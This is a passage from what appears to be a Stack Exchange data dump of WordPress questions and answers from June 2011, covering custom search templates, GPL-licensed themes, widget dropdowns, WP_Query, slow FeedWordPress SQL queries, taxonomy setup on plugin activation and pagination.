&amp;lt;input type=&quot;hidden&quot; name=&quot;custom_search&quot; value=&quot;1&quot;&amp;gt; &#xA;&#xA;    &amp;lt;input type='hidden' name='post_type' value='software, documents' /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in your theme's search.php at the very top add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_GET['custom_search']) &amp;amp;&amp;amp; $_GET['custom_search'] == 1){&#xA;   include('custom_search.php'); // change it to whatever template file you would like to use&#xA;   break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-14T22:51:59.780" />
  <row Id="20029" PostTypeId="1" AcceptedAnswerId="20032" CreationDate="2011-06-14T23:32:40.590" Score="1" ViewCount="64" Body="&lt;p&gt;On a themes site they stipulate, in the terms and conditions, that their themes inherit the GNU general public license from WordPress. I believe that this means that they can be copied and modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the themes are being sold. Shouldn't they be free? Could someone enlighten me.&lt;/p&gt;&#xA;" OwnerUserId="6198" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-14T23:44:55.603" LastActivityDate="2011-06-14T23:44:55.603" Title="Wordpress themes under GPL license" Tags="&lt;themes&gt;&lt;copyright&gt;" AnswerCount="1" />
  <row Id="20030" PostTypeId="1" CreationDate="2011-06-14T23:33:37.877" Score="0" ViewCount="64" Body="&lt;p&gt;I have a client that wants me to be able to submit (small) podcasts via an email attachment much like the functionality in posterous.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this site I found such a plugin for Wordpress called &lt;a href=&quot;http://wordpress.org/extend/plugins/postie/other_notes/&quot; rel=&quot;nofollow&quot;&gt;Postie&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However before I try to install this plugin on his site, I figured I should ask if submission of podcasts is even possible this way.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Of course it's limited by the size of the file you're able to send via email, but that's okay as his podcasts aren't all that big.)&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditorDisplayName="" LastEditDate="2011-06-14T23:49:25.423" LastActivityDate="2011-08-25T01:54:45.407" Title="Can Postie be used to submit podcasts via email?" Tags="&lt;plugins&gt;&lt;email&gt;&lt;podcasting&gt;&lt;audio&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="20031" PostTypeId="1" CreationDate="2011-06-14T23:42:48.717" Score="-4" ViewCount="60" Body="&lt;p&gt;i installed for the first time WP. Installation was finished and I have WP on a local server and I'm using wamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to change they way it looks and function, and in the end to make it a website for a small business,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What to do now? &#xA;What details/documentation do I need to look for (what keywords) and where?&#xA;I don't even know what to type in Google... :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6199" LastActivityDate="2011-06-15T06:48:21.033" Title="After installing WP - What's the next step?" Tags="&lt;posts&gt;&lt;local-installation&gt;&lt;post-installation&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="20032" PostTypeId="2" ParentId="20029" CreationDate="2011-06-14T23:44:36.273" Score="1" ViewCount="" Body="&lt;p&gt;The GPL absolutely &lt;em&gt;does &lt;strong&gt;not&lt;/strong&gt; preclude selling&lt;/em&gt; code, for cost. In fact, the terms of the license &lt;em&gt;explicitly allow&lt;/em&gt; for selling of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GPL merely allows the end user, whether he received the GPL-licensed code for free or for cost, to use the code however he likes, to redistribute the code, to modify the code, and to redistribute the modified code - provided that any such-distributed code be licensed under the same license.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-14T23:44:36.273" CommentCount="4" />
  <row Id="20033" PostTypeId="1" AcceptedAnswerId="20034" CreationDate="2011-06-14T23:48:11.900" Score="1" ViewCount="40" Body="&lt;p&gt;How do I create a simple dropdown menu with 3 options in a widget?&#xA;I'm using $instance to do it.  How would it look in a barebones widget?&lt;/p&gt;&#xA;" OwnerUserId="5247" LastActivityDate="2011-06-16T12:22:12.167" Title="How do I create a drop down menu in a widget?" Tags="&lt;php&gt;&lt;widgets&gt;&lt;dropdown&gt;" AnswerCount="1" />
  <row Id="20034" PostTypeId="2" ParentId="20033" CreationDate="2011-06-14T23:59:29.623" Score="2" ViewCount="" Body="&lt;p&gt;This is what I do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Static Options&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('posttype'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('posttype'); ?&amp;gt;&quot; class=&quot;widefat&quot; style=&quot;width:100%;&quot;&amp;gt;&#xA;    &amp;lt;option &amp;lt;?php selected( $instance['posttype'], 'Option 1'); ?&amp;gt; value=&quot;Option 1&quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option &amp;lt;?php selected( $instance['posttype'], 'Option 2'); ?&amp;gt; value=&quot;Option 2&quot;&amp;gt;Option 2&amp;lt;/option&amp;gt; &#xA;    &amp;lt;option &amp;lt;?php selected( $instance['posttype'], 'Option 3'); ?&amp;gt; value=&quot;Option 3&quot;&amp;gt;Option 3&amp;lt;/option&amp;gt;   &#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Generate with options with PHP (example)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('posttype'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('posttype'); ?&amp;gt;&quot; class=&quot;widefat&quot; style=&quot;width:100%;&quot;&amp;gt;&#xA;    &amp;lt;?php foreach(get_post_types($getposttype_args,'names') as $post_type) { ?&amp;gt;&#xA;        &amp;lt;option &amp;lt;?php selected( $instance['posttype'], $post_type ); ?&amp;gt; value=&quot;&amp;lt;?php echo $post_type; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $post_type; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;      &#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You want to change all instances of &lt;code&gt;posttype&lt;/code&gt; to whatever field_id you want to use.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-06-14T23:59:29.623" CommentCount="1" />
  <row Id="20035" PostTypeId="2" ParentId="20031" CreationDate="2011-06-15T00:00:09.357" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Start with Wordpress Codex&lt;/strong&gt;&lt;/a&gt;, lots of info in there to get you going and of course call back here now and again..&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-15T00:00:09.357" />
  <row Id="20036" PostTypeId="2" ParentId="19996" CreationDate="2011-06-15T00:28:07.077" Score="0" ViewCount="" Body="&lt;p&gt;Im using Chrome 12 on Mac. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The close button works for me but clicking outside the box does not close.&lt;/li&gt;&#xA;&lt;li&gt;All the thumbnails work for me.&lt;/li&gt;&#xA;&lt;li&gt;I believe the correct syntax would be &lt;code&gt;scrolling: no&lt;/code&gt; (&lt;a href=&quot;http://fancybox.net/api&quot; rel=&quot;nofollow&quot;&gt;Fancybox&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I notice you are using the Fancybox for Wordpress plugin, most of the options should be able to set in the admin panel.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-06-15T00:28:07.077" />
  <row Id="20037" PostTypeId="1" AcceptedAnswerId="20038" CreationDate="2011-06-15T00:35:04.803" Score="2" ViewCount="77" Body="&lt;p&gt;In the codex for WP_Query I see you can query by 'page_id=7' for pages or by 'p=7' for posts... is there a way to get a 'post of any post type' by ID? like 'id=7'—that will get it no matter if it's a page, post or custom post type? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only get WP_Query with p=7 to work if I add &amp;amp;post_type=customposttype. Is there a way to get it from the ID regardless of post type? &lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-06-15T01:09:30.393" Title="WP_Query by just the id?" Tags="&lt;wp-query&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20038" PostTypeId="2" ParentId="20037" CreationDate="2011-06-15T01:03:34.660" Score="3" ViewCount="" Body="&lt;p&gt;'any' should retrieve any type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;'p' =&amp;gt; 42, // id of a page, post, or custom type&#xA;'post_type' =&amp;gt; 'any');&#xA;$my_posts = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-06-15T01:09:30.393" LastActivityDate="2011-06-15T01:09:30.393" />
  <row Id="20039" PostTypeId="2" ParentId="20021" CreationDate="2011-06-15T01:09:59.847" Score="1" ViewCount="" Body="&lt;p&gt;Put this in a network activated plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pings_open','__return_false');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No more incoming pings.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-15T01:09:59.847" />
  <row Id="20040" PostTypeId="1" AcceptedAnswerId="20042" CreationDate="2011-06-15T02:22:47.610" Score="2" ViewCount="40" Body="&lt;p&gt;So, i got this code to retrieve the images inserted in a gallery within a post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; -1,&#xA;    'post_status'=&amp;gt;'inherit',&#xA;    'post_mime_type' =&amp;gt; 'image',&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;    'orderby' =&amp;gt; 'menu_order',&#xA;    'order' =&amp;gt; 'ASC'&#xA;);&#xA;$attachments = get_posts($args);&#xA;if ($attachments) {&#xA;    foreach ($attachments as $attachment) {&#xA;        $image_attributes = wp_get_attachment_image_src( $attachment-&amp;gt;ID, 'full' );&#xA;        ?&amp;gt;&amp;lt;img title=&quot;&amp;lt;?php echo $attachment-&amp;gt;post_title; ?&amp;gt;&quot; src=&quot;&amp;lt;?php echo $image_attributes[0] ?&amp;gt;&quot; /&amp;gt;&amp;lt;?php&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the output if fine, except that some pictures are duplicated and given a &lt;code&gt;class=&quot;cloned&quot;&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code is running within a basic loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with no extra special things before and after. This is happening locally and online as i wanted to be sure about this weird thing; &lt;a href=&quot;http://k-win.fr/wptest/?cpt-project=tt-br&quot; rel=&quot;nofollow&quot;&gt;here's the demo&lt;/a&gt;. If you inspect the code you'll see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img class=&quot;cloned&quot; src=&quot;http://k-win.fr/wptest/wp-content/uploads/2011/06/03mopi.jpg&quot; title=&quot;03mopi&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;http://k-win.fr/wptest/wp-content/uploads/2011/06/01.jpg&quot; title=&quot;01&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;http://k-win.fr/wptest/wp-content/uploads/2011/06/02.jpg&quot; title=&quot;02&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;http://k-win.fr/wptest/wp-content/uploads/2011/06/03mopi.jpg&quot; title=&quot;03mopi&quot;&amp;gt;&#xA;&amp;lt;img class=&quot;cloned&quot; src=&quot;http://k-win.fr/wptest/wp-content/uploads/2011/06/01.jpg&quot; title=&quot;01&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if you check the source code you wont see the &lt;code&gt;class=&quot;cloned&quot;&lt;/code&gt; i'm speaking of (devil inside!). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's driving me a bit crazy cos it's messing up with the pictures order in some cases and this one has to be respected from the order decided in the gallery's options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked with Opera, Chrome and Firefox, and all show me the same thing. Any clue?&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-06-15T03:11:29.967" Title="Getting attachment images is cloning some of them" Tags="&lt;attachments&gt;&lt;gallery&gt;" AnswerCount="1" />
  <row Id="20041" PostTypeId="1" CreationDate="2011-06-15T02:41:38.627" Score="0" ViewCount="107" Body="&lt;p&gt;I am using a WordPress plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/feedwordpress/&quot; rel=&quot;nofollow&quot;&gt;feedwordpress&lt;/a&gt; in order to run a planet like website on wordpress (See it &lt;a href=&quot;http://www.r-bloggers.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is great except for one thing - it hogs down my (VPS) server into submission once every week or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a recent e-mail exchange with the webadmin he wrote the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It does look like the increased mysql&#xA;  resource usage is being caused by slow&#xA;  queries being run by r-bloggers.com.&#xA;  Here is a copy of some of the logs&#xA;  that are being produced. You would&#xA;  need to optimize this site and&#xA;  database further to have it running as&#xA;  efficiently as possible. If these&#xA;  changes have already been made, your&#xA;  best option would be to look into a&#xA;  large upgrade for your VPS due to the&#xA;  high level or resources and traffic&#xA;  that your site needs and sees.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here are the logs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Time: 110614 16:11:35&#xA;# User@Host: rblogger_rblogr[rblogger_rblogr] @ localhost []&#xA;# Query_time: 104 Lock_time: 0 Rows_sent: 0 Rows_examined: 54616&#xA;SELECT SQL_CALC_FOUND_ROWS wp_rb_posts.* FROM wp_rb_posts WHERE 1=1 AND ((guid = '235cbefa4424d0cdb7b6213f15a95ded') OR (guid = 'http://www.r-bloggers.com/?guid=235cbefa4424d0cdb7b6213f15a95ded') OR (guid = 'http://www.r-bloggers.com/?guid=235cbefa4424d0cdb7b6213f15a95ded') OR (MD5(guid) = '235cbefa4424d0cdb7b6213f15a95ded')) AND wp_rb_posts.post_type IN ('post', 'page', 'attachment', 'revision', 'nav_menu_item') AND (wp_rb_posts.post_status = 'publish' OR wp_rb_posts.post_status = 'future' OR wp_rb_posts.post_status = 'draft' OR wp_rb_posts.post_status = 'pending' OR wp_rb_posts.post_status = 'trash' OR wp_rb_posts.post_status = 'auto-draft' OR wp_rb_posts.post_status = 'inherit' OR wp_rb_posts.post_status = 'private') ORDER BY wp_rb_posts.post_date DESC LIMIT 1570, 10;&#xA;# User@Host: rblogger_rblogr[rblogger_rblogr] @ localhost []&#xA;# Query_time: 237 Lock_time: 0 Rows_sent: 0 Rows_examined: 54616&#xA;SELECT SQL_CALC_FOUND_ROWS wp_rb_posts.* FROM wp_rb_posts WHERE 1=1 AND ((guid = '235cbefa4424d0cdb7b6213f15a95ded') OR (guid = 'http://www.r-bloggers.com/?guid=235cbefa4424d0cdb7b6213f15a95ded') OR (guid = 'http://www.r-bloggers.com/?guid=235cbefa4424d0cdb7b6213f15a95ded') OR (MD5(guid) = '235cbefa4424d0cdb7b6213f15a95ded')) AND wp_rb_posts.post_type IN ('post', 'page', 'attachment', 'revision', 'nav_menu_item') AND (wp_rb_posts.post_status = 'publish' OR wp_rb_posts.post_status = 'future' OR wp_rb_posts.post_status = 'draft' OR wp_rb_posts.post_status = 'pending' OR wp_rb_posts.post_status = 'trash' OR wp_rb_posts.post_status = 'auto-draft' OR wp_rb_posts.post_status = 'inherit' OR wp_rb_posts.post_status = 'private') ORDER BY wp_rb_posts.post_date DESC LIMIT 570, 10;&#xA;# Time: 110614 16:18:13&#xA;# User@Host: rblogger_rblogr[rblogger_rblogr] @ localhost []&#xA;# Query_time: 257 Lock_time: 0 Rows_sent: 0 Rows_examined: 54616&#xA;SELECT SQL_CALC_FOUND_ROWS wp_rb_posts.* FROM wp_rb_posts WHERE 1=1 AND ((guid = '956e208f101562f6654e88e9711276e4') OR (guid = 'http://www.r-bloggers.com/?guid=956e208f101562f6654e88e9711276e4') OR (guid = 'http://www.r-bloggers.com/?guid=956e208f101562f6654e88e9711276e4') OR (MD5(guid) = '956e208f101562f6654e88e9711276e4')) AND wp_rb_posts.post_type IN ('post', 'page', 'attachment', 'revision', 'nav_menu_item') AND (wp_rb_posts.post_status = 'publish' OR wp_rb_posts.post_status = 'future' OR wp_rb_posts.post_status = 'draft' OR wp_rb_posts.post_status = 'pending' OR wp_rb_posts.post_status = 'trash' OR wp_rb_posts.post_status = 'auto-draft' OR wp_rb_posts.post_status = 'inherit' OR wp_rb_posts.post_status = 'private') ORDER BY wp_rb_posts.post_date DESC LIMIT 570, 10;&#xA;# Time: 110614 16:19:02&#xA;# User@Host: rblogger_rblogr[rblogger_rblogr] @ localhost []&#xA;# Query_time: 83 Lock_time: 0 Rows_sent: 0 Rows_examined: 54616&#xA;SELECT SQL_CALC_FOUND_ROWS wp_rb_posts.* FROM wp_rb_posts WHERE 1=1 AND ((guid = '6c589e661f03a67b0529fab2f080bfd3') OR (guid = 'http://www.r-bloggers.com/?guid=6c589e661f03a67b0529fab2f080bfd3') OR (guid = 'http://www.r-bloggers.com/?guid=6c589e661f03a67b0529fab2f080bfd3') OR (MD5(guid) = '6c589e661f03a67b0529fab2f080bfd3')) AND wp_rb_posts.post_type IN ('post', 'page', 'attachment', 'revision', 'nav_menu_item') AND (wp_rb_posts.post_status = 'publish' OR wp_rb_posts.post_status = 'future' OR wp_rb_posts.post_status = 'draft' OR wp_rb_posts.post_status = 'pending' OR wp_rb_posts.post_status = 'trash' OR wp_rb_posts.post_status = 'auto-draft' OR wp_rb_posts.post_status = 'inherit' OR wp_rb_posts.post_status = 'private') ORDER BY wp_rb_posts.post_date DESC LIMIT 1440, 10;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which leads me to my question - what in this logs might indicate to me what is happening (why should such queries take so long?)? is it possible to optimize these?  If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Tal&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-06-15T10:18:49.653" Title="Speeding SQL queries for a large database?" Tags="&lt;plugins&gt;&lt;mysql&gt;&lt;sql&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20042" PostTypeId="2" ParentId="20040" CreationDate="2011-06-15T03:11:29.967" Score="1" ViewCount="" Body="&lt;p&gt;that's your nivo-slider at work&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-15T03:11:29.967" CommentCount="2" />
  <row Id="20043" PostTypeId="1" AcceptedAnswerId="20085" CreationDate="2011-06-15T03:12:07.387" Score="1" ViewCount="75" Body="&lt;p&gt;I've been trying various ways of doing this.  Basically, I've been trying to make it so that a plugin of mine populates the terms of a taxonomy only once during the plugin's activation.  The term populating is done in a function via the wp_insert_terms function.  Calling the function straight inside the register_activation_hook doesn't seem to work and neither does hooking to the init hook using the register_activation_hook.  Anyone have any ideas?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a version of my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//version 1&#xA;class vsetup {&#xA;     function __construct() {&#xA;          register_activation_hook(__FILE__,array($this,'activate'));&#xA;          $this-&amp;gt;create_taxonomies();&#xA;     } &#xA;     function activate() {&#xA;          wp_insert_term('Action','genre');&#xA;          wp_insert_term('Adventure','genre');&#xA;     }&#xA;     function create_taxonomies() {&#xA;           $genre_args = array( &#xA;            'hierarchical' =&amp;gt; true,  &#xA;                'labels' =&amp;gt; array(&#xA;            'name'=&amp;gt; _x('Genres', 'taxonomy general name' ),&#xA;            'singular_name' =&amp;gt; _x('Genre', 'taxonomy singular name'),&#xA;            'search_items' =&amp;gt; __('Search Genres'),&#xA;            'popular_items' =&amp;gt; __('Popular Genres'),&#xA;            'all_items' =&amp;gt; __('All Genres'),&#xA;            'edit_item' =&amp;gt; __('Edit Genre'),&#xA;            'edit_item' =&amp;gt; __('Edit Genre'),&#xA;            'update_item' =&amp;gt; __('Update Genre'),&#xA;            'add_new_item' =&amp;gt; __('Add New Genre'),&#xA;            'new_item_name' =&amp;gt; __('New Genre Name'),&#xA;            'separate_items_with_commas' =&amp;gt; __('Seperate Genres with Commas'),&#xA;            'add_or_remove_items' =&amp;gt; __('Add or Remove Genres'),&#xA;            'choose_from_most_used' =&amp;gt; __('Choose from Most Used Genres')&#xA;            ),  &#xA;                'query_var' =&amp;gt; true,  &#xA;            'rewrite' =&amp;gt; array('slug' =&amp;gt;'genre')        &#xA;           );&#xA;           register_taxonomy('genre', 'post',$genre_args);&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When that didn't work, I tried doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; //version 2&#xA;    class vsetup {&#xA;         function __construct() {&#xA;              register_activation_hook(__FILE__,array($this,'activate'));&#xA;              $this-&amp;gt;create_taxonomies();&#xA;         } &#xA;         function activate() {&#xA;              add_action('init', array($this,'populate_taxonomies'));&#xA;         }&#xA;          function create_taxonomies() {&#xA;               $genre_args = array( &#xA;                'hierarchical' =&amp;gt; true,  &#xA;                    'labels' =&amp;gt; array(&#xA;                'name'=&amp;gt; _x('Genres', 'taxonomy general name' ),&#xA;                'singular_name' =&amp;gt; _x('Genre', 'taxonomy singular name'),&#xA;                'search_items' =&amp;gt; __('Search Genres'),&#xA;                'popular_items' =&amp;gt; __('Popular Genres'),&#xA;                'all_items' =&amp;gt; __('All Genres'),&#xA;                'edit_item' =&amp;gt; __('Edit Genre'),&#xA;                'edit_item' =&amp;gt; __('Edit Genre'),&#xA;                'update_item' =&amp;gt; __('Update Genre'),&#xA;                'add_new_item' =&amp;gt; __('Add New Genre'),&#xA;                'new_item_name' =&amp;gt; __('New Genre Name'),&#xA;                'separate_items_with_commas' =&amp;gt; __('Seperate Genres with Commas'),&#xA;                'add_or_remove_items' =&amp;gt; __('Add or Remove Genres'),&#xA;                'choose_from_most_used' =&amp;gt; __('Choose from Most Used Genres')&#xA;                ),  &#xA;                    'query_var' =&amp;gt; true,  &#xA;                'rewrite' =&amp;gt; array('slug' =&amp;gt;'genre')        &#xA;               );&#xA;               register_taxonomy('genre', 'post',$genre_args);&#xA;         }&#xA;         function populate_taxonomies() {&#xA;              wp_insert_term('Action','genre');&#xA;              wp_insert_term('Adventure','genre');&#xA;         }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Neither idea worked for me so far.  &lt;/p&gt;&#xA;" OwnerUserId="2234" LastEditorUserId="2234" LastEditorDisplayName="" LastEditDate="2011-06-15T11:28:56.407" LastActivityDate="2011-06-15T14:54:53.840" Title="Inserting Taxonomy Terms During a Plugin Activation?" Tags="&lt;plugin-development&gt;&lt;custom-taxonomy&gt;&lt;activation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20044" PostTypeId="1" CreationDate="2011-06-15T03:35:31.127" Score="2" ViewCount="64" Body="&lt;p&gt;In a theme I built from scratch I'm using the WP Photo Album Plus plugin. Per some books I've been using as guides, I need to include this code in the header in order to make comments work in a blog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_singular() ) wp_enqueue_script ( 'comment-reply'); wp_head() ; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've been including this line in the header of all my custom themes, whether the site includes a blog or not (my sites are all business sites, some with blogs included but none are primarily or only blogs). This site didn't have a blog so I removed that line of code. Doing that caused the photo albums to stop appearing on the pages. The shortcodes appeared as text instead. The albums were still in the admin and the plugin was still there, and everything else still worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain the connection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5686" LastActivityDate="2011-06-15T14:19:30.203" Title="Why does this line of code make photo albums appear?" Tags="&lt;wp-enqueue-script&gt;" AnswerCount="3" />
  <row Id="20045" PostTypeId="1" CreationDate="2011-06-15T04:00:56.687" Score="0" ViewCount="71" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/feedwordpress/&quot; rel=&quot;nofollow&quot;&gt;FeedWordPress plugin&lt;/a&gt; to fetch feeds from many blogs into one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should be the best setting for a site with many feeds So that it could handle the workload in the best way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Should the CRON be used every 5/10/20/30 minutes?&lt;/li&gt;&#xA;&lt;li&gt;Should there be a cap for the total time at each session of feed updates?&lt;/li&gt;&#xA;&lt;li&gt;Should there be a cap for the time for pulling each of the feeds?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any more ideas or links?&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-06-15T14:11:41.603" LastActivityDate="2011-06-15T14:11:41.603" Title="Best settings to improve performance when using feedwordpress?" Tags="&lt;performance&gt;&lt;feedwordpress&gt;" CommentCount="3" />
  <row Id="20046" PostTypeId="1" AcceptedAnswerId="20165" CreationDate="2011-06-15T04:20:26.470" Score="1" ViewCount="155" Body="&lt;p&gt;I have three columns, each displaying 2 posts, each from different categories and each being a new query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These three columns are shown on thier parent category page, which is set to display 6 posts per page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$soundPosts = new WP_Query('posts_per_page=2&amp;amp;cat=4&amp;amp;paged=' . get_query_var( 'paged' ));&#xA;$viewsPosts = new WP_Query('posts_per_page=2&amp;amp;cat=5&amp;amp;paged=' . get_query_var( 'paged' ));&#xA;$wordsPosts = new WP_Query('posts_per_page=2&amp;amp;cat=6&amp;amp;paged=' . get_query_var( 'paged' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment pagination kind of works, but not properly. It is using the pagination for the main parent category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;left&quot;&amp;gt;&amp;lt;?php previous_posts_link('&amp;amp;#60; Previous') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;right&quot;&amp;gt;&amp;lt;?php next_posts_link('Next &amp;amp;#62;','') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pagination kind of works, as the parent category contains the posts, and is set to show 6 posts, but it doesn't always work as the posts aren't always equally distributed throughout the columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I manually build the navigation links, so they run off the queries above, rather than the archive's default pagination? And how and the end of all records can I make the archive return a 404 page, for use with infinte scroll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also of note, I am aware of this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2645/how-can-i-call-an-article-from-each-category-and-still-paginate-properly&quot;&gt;question / answer&lt;/a&gt;, but don't think it is an accpetable solution, or is in fact the same setup I have currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks alot for any pointers!&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2011-06-16T14:42:46.143" Title="3 Columns, 3 Categories, One Archive, and Pagination" Tags="&lt;categories&gt;&lt;wp-query&gt;&lt;pagination&gt;" AnswerCount="1" FavoriteCount="1" />
